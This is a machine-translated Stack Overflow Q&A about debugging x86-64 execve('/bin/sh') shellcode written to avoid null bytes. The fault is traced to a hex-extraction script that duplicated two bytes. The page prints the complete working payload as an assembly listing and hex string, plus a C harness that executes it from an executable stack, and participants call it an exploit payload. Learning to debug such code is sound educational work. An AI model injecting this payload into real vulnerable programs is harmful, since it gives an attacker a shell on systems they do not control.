Неожиданное поведение JMP в Shellcode, когда следующая (пропущенная) инструкция является определением переменной

Цель: я пытался использовать режим RIP в x86-64. Несмотря на то, что сборка сама по себе работает должным образом, шелл-код этого не делает.

Проблема. Вкратце я попробовал вот что:

jmp l1
str1: db "some string"
l1:
   other code
   lea rax, [rel str1]

Я использовал вышеупомянутое в разных местах, это не помогло только в определенных местах и ​​преуспело в других местах. Я попытался поиграть и не смог найти никакой закономерности, когда это не помогло. Когда переменная (инструкция str1: db) находится после инструкции, обращающейся к ней, она никогда не терпела неудач (по моим наблюдениям). Однако я хочу удалить нули, поэтому я разместил определение переменной перед тем, как получить к нему доступ.

Находки отладки
При отладке я обнаружил, что сбойный jmp указывает на неверный адрес инструкции. Например: (в gdb)

(code + 18) jmp [code +27] //jmp pointing incorrectly to in-between 2
(code + 22) ... (this part has label)
(code + 24) some instruction // this is where I intended the jmp
(code + 28) some other instruction

Код. Это пример кода. Я пытался создать Execve Shell. Он довольно большой, поэтому я определил позицию виновника JMP.

global _start
section .text
_start: 
    xor rax,rax
    mov rsi,rax
    mov rdi,rsi
    mov rdx,rdi
    mov r8,rdx
    mov rcx,r8
    mov rbx,rcx
    jmp gg //failing (jumping somewhere unintended)
    p2: db "/bin/sh"        
gg:
    xor rax,rax
    lea rdi, [rel p2]
    mov [rdi+7], byte al //null terminating using 0x00 from rax
    mov [rdi+8], rdi
    mov [rdi+16],rax


    lea rsi,[rdi+8]
    lea rdx,[rdi+16]
    mov al,59
    syscall

РЕДАКТИРОВАТЬ: 1. Изменили код, чтобы он содержал неверные инструкции.

РЕДАКТИРОВАТЬ: 2 Шелл-код на языке C, который я использовал.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\x31\xc0\x48\x89\xc6\x48\x89\xf7\x48\x89\xfa\x49\x89\xd0\x4c\x89\xc1\x48\x89\xcb\xeb\x07\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\x48\x31\xc0\x48\x8d\x3d\xef\xff\xff\xff\x88\x47\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x8d\x77\x08\x48\x8d\x57\x10\xb0\x3b\x0f\x05";
main()
{

    printf("Shellcode Length:  %d\n", (int)strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

}

ИЗМЕНИТЬ 3. Я бы получил Hexdump, поместив следующий код в файл Bash и запустив его, передав имя файла в качестве аргумента. Взял из ShellStorm.

`for i in $(objdump -d $1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i`;

person Yuvraj Singh    schedule 23.12.2017    source источник
comment
Как выглядит необработанный машинный код в случае сбоя? Изменилось только jmp rel8 смещение или изменились и другие байты? (Используйте отладчик для проверки памяти в реальном процессе и отредактируйте свой вопрос, чтобы сделать его минимально воспроизводимым примером.)   -  person Peter Cordes    schedule 23.12.2017
comment
Также обратите внимание, что "/bin/sh" должен завершаться нулем для execve. Обычно это означает, что вам нужно поставить его последним или вам нужно изменить его во время выполнения, чтобы изменить байт после него на ноль. Если у вас несколько строк, я не думаю, что вам будет выгодно перепрыгивать через каждую из них по отдельности, если только вы не используете трюк call, чтобы протолкнуть их адрес; просто сгруппируйте их в один блок. Я думаю, что в вашем длинном примере кода некоторые из них имеют явную длину, но я не пытался читать ваш код без комментариев, чтобы увидеть, как он работает.   -  person Peter Cordes    schedule 23.12.2017
comment
@PeterCordes Он модифицирует строку и позже программно добавляет нулевой терминатор и другие данные   -  person Michael Petch    schedule 23.12.2017
comment
Обновление для упрощения кода делает это намного проще. Это очень близко к самомодифицирующемуся коду, но я, в хранилищах [rdi+8] и [rdi+16], избегаю изменения каких-либо инструкций, которые еще не были выполнены. Обратите внимание, что после их выполнения инструкции, которые вы видите в представлении разборки отладчика, будут другими. Это приведет к тому, что современные процессоры будут выполнять очистку конвейера (самомодифицирующуюся машинную ядерную бомбу), но производительность этого кода не имеет значения.   -  person Peter Cordes    schedule 23.12.2017
comment
В любом случае, @yuvral, вы все еще говорите, что этот код работает как автономный исполняемый файл, но не когда он используется в качестве полезной нагрузки эксплойта? Вы уверены, что целевой исполняемый файл не изменяет стековую память перед возвратом в ваш машинный код? Ваш код не зависит от позиции, и нет причин, по которым такой jmp был бы более чувствителен к сбоям, чем что-либо еще. Или вы смотрите на разборку после того, как хранилища уже изменили цель перехода, или ваша разборка выходит из синхронизации из-за данных, не являющихся инструкциями? jmp по-прежнему кодируется как eb 07?   -  person Peter Cordes    schedule 23.12.2017
comment
@PeterCordes, инструкция перехода, кажется, находится в том месте, где она должна быть согласно gdb, единственная загвоздка в том, что она указывает на место, где она не должна. Это зависит от того, что ставится после JMP (str: db) и направления JMP. Местоположение, где он должен и куда он указывает, отличается незначительным смещением. Например: требуемая позиция - это код +121, но вместо этого он вызывает jmp для кода +127. Я могу предоставить полный вывод отладки или код, если вам потребуется дополнительная информация.   -  person Yuvraj Singh    schedule 27.12.2017
comment
@YuvrajSingh Вы подтвердили, что правильно закодировали полезную нагрузку эксплойта. После того, как он попал в целевой исполняемый файл, вы проверили, что он соответствует инструкциям байт за байтом? Почти интересно, если вы его неправильно закодировали, и после загрузки в цель он не работает должным образом.   -  person Michael Petch    schedule 29.12.2017
comment
Приносим извинения за опоздание, ребята, и спасибо за приложенные усилия. Сделал uname -a на моей машине с Ubuntu 12, вот что я получил. Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux Я собрал как: - nasm -felf64 -o execShell.o execShell.asm ld -o execShell.s execShell.asm -N -N добавлен в состояние сборки, чтобы помочь переписать шеллкод памяти на C (добавлен в EDIT 2 :) Скомпилирован с использованием gcc -fno-stack-protector -z execstack -o relExec.o relExec.c выше дает ошибку сегментации (relExec.o) при выполнении   -  person Yuvraj Singh    schedule 04.01.2018
comment
Если вы хотите исправить шелл-код, вы найдете его в строке \x48\x31\x48\x31. Это должно быть просто \x48\x31. Если вы исправите это, все должно быть в порядке, но в конечном итоге я считаю, что дополнительные байты дублируются после того, как данные произошли из-за метода, который вы использовали для получения автономного исполняемого файла и генерации строки оболочки. Я предполагаю, что вы использовали вывод какой-то программы дизассемблирования (objdump? что-то еще?) проанализировал байты и превратил их в строку.   -  person Michael Petch    schedule 05.01.2018
comment
@MichaelPetch. Я взял этот код из ShellStorm, я не тратил много времени на изучение того, как он работает, так как раньше он не ставил меня в тупик в более простых программах. Я вставил код, который я использую для сброса шестнадцатеричного файла в EDIT 3. Также, спасибо за то, что вы предложили свой способ создания исполняемого файла, я буду следовать тому же самому в будущем.   -  person Yuvraj Singh    schedule 05.01.2018
comment
Проблема в том, что какой-либо метод, который использует shellStorm, неверен. Он использует метод, который использует данные (вывод разборки IMHO), которые могут при определенных обстоятельствах дублировать байты в процессе синхронизации jmp. Это побочный эффект смешения кода и данных. ShellStorm может предполагать, что у вас всегда есть данные после кода, чтобы выходные данные были точными. Фактически процесс разборки был слишком умным для того, что вам нужно.   -  person Michael Petch    schedule 05.01.2018


Ответы (2)


TL; DR: метод, который вы используете для преобразования автономной программы кода оболочки shellExec в строку эксплойта кода оболочки, содержит ошибки.


Основываясь на предоставленной информации, я подозреваю, что проблема заключается в том, как вы используете вывод дизассемблирования для генерации финального потока байтов, который преобразуется в строку кода оболочки. Скорее всего, результат дизассемблирования имел сбивающий с толку результат и, возможно, повторяющиеся значения. Пытаясь разобрать данные (смешанные с кодом), он попытался вывести самую короткую кодируемую инструкцию, чтобы закончить использование всех данных, а затем обнаружил, что у вас есть цель JMP, и продублировал некоторые байты при резервном копировании для повторной синхронизации. Какой бы процесс ни использовался для преобразования дизассемблированного кода в двоичный, такого рода проблемы не учитывались.

Не используйте вывод дизассемблирования для создания двоичного файла. Создайте автономный исполняемый файл с помощью кода оболочки (я считаю, что shellExec - это файл в вашем случае) и используйте такие инструменты, как OBJCOPY и HEXDUMP для создания C строка кода оболочки:

objcopy -j.text -O binary execShell execShell.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' execShell.bin

Команда objcopy берет исполняемый файл execShell, извлекает только раздел .text (используя параметр -j.text) и выводит как двоичные данные в файл execShell.bin. Команда hexdump просто переформатирует двоичный файл и выводит его в форме, которую можно использовать в строке C. Этот процесс не включает в себя синтаксический анализ любого сбивающего с толку вывода дизассемблера, поэтому проблема, с которой вы столкнулись, не возникает. Результат hexdump должен выглядеть так:

\ x48 \ x31 \ xc0 \ x48 \ x89 \ xc6 \ x48 \ x89 \ xf7 \ x48 \ x89 \ xfa \ x49 \ x89 \ xd0 \ x4c \ x89 \ xc1 \ x48 \ x89 \ xcb \ xeb \ x07 \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x48 \ x31 \ xc0 \ x48 \ x8d \ x3d \ xef \ xff \ xff \ xff \ x88 \ x47 \ x07 \ x48 \ x89 \ x7f \ x08 \ x48 \ x89 \ x47 \ x10 \ x48 \ x8d \ x77 \ x08 \ x48 \ x8d \ x57 \ x10 \ xb0 \ x3b \ x0f \ x05

Это немного отличается от вашего, которое было:

\ x48 \ x31 \ xc0 \ x48 \ x89 \ xc6 \ x48 \ x89 \ xf7 \ x48 \ x89 \ xfa \ x49 \ x89 \ xd0 \ x4c \ x89 \ xc1 \ x48 \ x89 \ xcb \ xeb \ x07 \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x48 \ x31 \ x48 \ x31 \ xc0 \ x48 \ x8d \ x3d \ xef \ xff \ xff \ xff \ x88 \ x47 \ x07 \ x48 \ x89 \ x7f \ x08 \ x48 \ x89 \ x47 \ x10 \ x48 \ x8d \ x77 \ x08 \ x48 \ x8d \ x57 \ x10 \ xb0 \ x3b \ x0f \ x05

Я подчеркнул разницу. После строки байтов /bin/sh в вашем выводе появился дополнительный \x48\x31. Дополнительные 2 байта в строке кода оболочки отвечают за то, что код в целевом исполняемом файле не работает должным образом.

person Michael Petch    schedule 05.01.2018
comment
Большое спасибо, сэр! - person Yuvraj Singh; 05.01.2018
comment
Или строите с nasm -f bin в первую очередь, поэтому objcopy вам не понадобится. (Но тогда вам понадобится директива BITS или возможность установить 64-битный целевой режим). - person Peter Cordes; 05.01.2018

Я мог бы скомпилировать ваш код с nasm после замены // на ;, однако я не пытался его выполнить.

nasm -f elf64 a.s -o a

Тогда я мог бы посмотреть на код с помощью:

objdump -d a

И часть кода, о котором вы спрашиваете, выглядит так (т.е. jmp)

  12:   48 89 cb                mov    %rcx,%rbx
  15:   eb 07                   jmp    1e <gg>

0000000000000017 <p2>:
  17:   2f                      (bad)  
  18:   62                      (bad)  
  19:   69                      .byte 0x69
  1a:   6e                      outsb  %ds:(%rsi),(%dx)
  1b:   2f                      (bad)  
  1c:   73 68                   jae    86 <gg+0x68>

000000000000001e <gg>:
  1e:   48 31 c0                xor    %rax,%rax

Однако у следующего есть несколько проблем:

    mov [rdi+7], byte al ;null terminating using 0x00 from rax
    mov [rdi+8], rdi
    mov [rdi+16],rax
  1. Вы пытаетесь выполнить ЗАПИСЬ в ТОЛЬКО ДЛЯ ЧТЕНИЯ память. Код не может быть изменен

  2. Mov rdi / rax не может быть выровнен

  3. Если этот код будет успешным, он перезапишет ваш код на gg:.

Также было бы неплохо поставить по выравниванию непосредственно перед gg: Примерно так:

p2: "..."
align   16
gg:
   xor rax,rax

Итак, поскольку код предназначен только для чтения, вы должны вручную ввести туда нули.

p2: db "..."
    db 0
    db 0, 0, 0, 0, 0, 0, 0, 0
    db 0, 0, 0, 0, 0, 0, 0, 0

Если вы знаете, что он выровнен, dq тоже подойдет.

Однако обратите внимание, что вы также не выравниваете p2, поэтому вы не можете быть уверены (т.е. если ваш код изменится, выравнивание, скорее всего, тоже изменится). Вероятно, вы захотите сделать:

    align 16
p2: db "..."
    db 0
    dq 0
    dq 0

И последнее замечание: [rel p2] был довольно ограничен. Насколько мне известно, относительное смещение в этих инструкциях было ограничено -127 и +128. На моем 64-битном процессоре, однако, используется 32-битное смещение. Возможно, вы столкнулись с такой проблемой, в зависимости от вашего ассемблера, где он решил, что это слишком далеко. В вашем случае одно из решений - поместить инструкцию lea перед jmp над данными. И я бы предположил, что компилятор должен выдать ошибку, если смещение переполняется. Другая возможность заключается в том, что каким-то образом что-то оптимизируется, и jmp не обновляется должным образом.

Кстати, следующее не оптимизировано:

    xor rax,rax
    mov rsi,rax
    mov rdi,rsi
    mov rdx,rdi
    mov r8,rdx

Использование xor для всех регистров или повторное использование rax каждый раз вместо переключения будет работать лучше (более вероятно, что будет работать параллельно). Прямо сейчас вы привязываете все инструкции к предыдущей (т.е. прежде, чем вы сможете скопировать rsi в rdi, вам нужно скопировать rax в rsi. Наличие mov rdi,rax удалит эту зависимость.) Я думаю, что вы не увидите никакой разницы в этом случае, но это нужно иметь в виду для хорошей оптимизации.

С выравниванием и добавлением нулей в код я получаю:

0000000000000000 <_start>:
   0:   48 31 c0                xor    %rax,%rax
   3:   48 89 c6                mov    %rax,%rsi
   6:   48 89 f7                mov    %rsi,%rdi
   9:   48 89 fa                mov    %rdi,%rdx
   c:   49 89 d0                mov    %rdx,%r8
   f:   4c 89 c1                mov    %r8,%rcx
  12:   48 89 cb                mov    %rcx,%rbx
  15:   eb 29                   jmp    40 <gg>
  17:   90                      nop
  18:   90                      nop
  19:   90                      nop
  1a:   90                      nop
  1b:   90                      nop
  1c:   90                      nop
  1d:   90                      nop
  1e:   90                      nop
  1f:   90                      nop

0000000000000020 <p2>:
  20:   2f                      (bad)  
  21:   62                      (bad)  
  22:   69 6e 2f 73 68 00 00    imul   $0x6873,0x2f(%rsi),%ebp
        ...
  35:   00 00                   add    %al,(%rax)
  37:   00 90 90 90 90 90       add    %dl,-0x6f6f6f70(%rax)
  3d:   90                      nop
  3e:   90                      nop
  3f:   90                      nop

0000000000000040 <gg>:
  40:   48 31 c0                xor    %rax,%rax
  43:   48 8d 3d d6 ff ff ff    lea    -0x2a(%rip),%rdi        # 20 <p2>
  4a:   48 8d 77 08             lea    0x8(%rdi),%rsi
  4e:   48 8d 57 10             lea    0x10(%rdi),%rdx
  52:   b0 3b                   mov    $0x3b,%al
  54:   0f 05                   syscall

Обратите внимание, что при дизассемблировании, если ваши данные представляют собой инструкцию, они могут в конечном итоге использовать байты из вашего действительного кода и, таким образом, не показать вам то, что вы в противном случае ожидали бы. то есть он может не найти метку назначения. Но здесь у нас все хорошо.

person Alexis Wilke    schedule 29.12.2017
comment
У него проблема, когда этот код запускается как код оболочки (не автономный). В коде оболочки этот код будет помещен в стек. Ему нужно будет позаботиться о том, чтобы стек был помечен как исполняемый в целевом исполняемом файле. Он перезаписывает код после его выполнения, чтобы избежать размещения байтов 0x00 (NUL) в сгенерированном коде оболочки. Если только он не работает в ОС (не по умолчанию для Linux), которая принудительно выравнивает пользовательскую среду, такой невыровненный доступ здесь должен работать. - person Michael Petch; 29.12.2017
comment
Ах. Очистка 17 байтов в коде экономит ему всего 6 байтов ... может быть хорошей идеей для хакера. - person Alexis Wilke; 29.12.2017